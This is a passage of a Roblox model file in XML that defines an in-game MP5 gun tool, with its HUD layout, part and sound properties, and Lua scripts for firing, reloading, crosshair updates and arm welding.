								<YS>0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
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							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX4966">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Reload</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-120</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
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						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">false</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX4967">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">2</token>
							<token name="FontSize">7</token>
							<string name="Name">Reload</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">Press R to Reload</string>
							<Color3 name="TextColor3">4294901760</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX4968">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0.200000003</X>
					<Y>0.200000003</Y>
					<Z>-0.300000012</Z>
					<R00>0.970145345</R00>
					<R01>2.37021595e-007</R01>
					<R02>0.242524222</R02>
					<R10>0.00242536515</R10>
					<R11>-0.999950171</R11>
					<R12>-0.00970096793</R12>
					<R20>0.242512092</R20>
					<R21>0.00999955926</R21>
					<R22>-0.970096946</R22>
				</CoordinateFrame>
				<string name="Name">MP5</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=122080062</url></Content>
				<string name="ToolTip">MP5</string>
			</Properties>
			<Item class="Part" referent="RBX4969">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-17.5</X>
						<Y>-68.6000061</Y>
						<Z>21.1000004</Z>
						<R00>-8.34465027e-007</R00>
						<R01>-4.25657589e-008</R01>
						<R02>1.00000048</R02>
						<R10>2.85106516e-009</R10>
						<R11>-1.00000095</R11>
						<R12>-4.25657589e-008</R12>
						<R20>1.00000048</R20>
						<R21>2.85104917e-009</R21>
						<R22>-1.1920929e-007</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>1</Y>
						<Z>3</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX4970">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=2760846</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>-0.949999988</X>
							<Y>-0.850000024</Y>
							<Z>-0.850000024</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4971">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=95315676</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4972">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=95309699</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4973">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX4974">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX4975">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX4976">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX4977">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">MP5</string>
					<ProtectedString name="Source">--------------------- TEMPLATE ASSAULT RIFLE WEAPON ---------------------------
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName)
&#9;while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
&#9;return parent[childName]
end

----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 18
-- How many times per second the gun can fire
local FireRate = 1 / 13
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 400
-- In radians the minimum accuracy penalty
local MinSpread = 0.008
-- In radian the maximum accuracy penalty
local MaxSpread = 0.1
-- Number of bullets in a clip
local ClipSize = 30
-- DefaultValue for spare ammo
local SpareAmmo = 300
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.013
-- Time it takes to reload weapon
local ReloadTime = 2.3
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX4978">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX4979">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX4980">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">2</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX4981">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX4982">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
								<XS>0.449999988</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">54</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">1</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
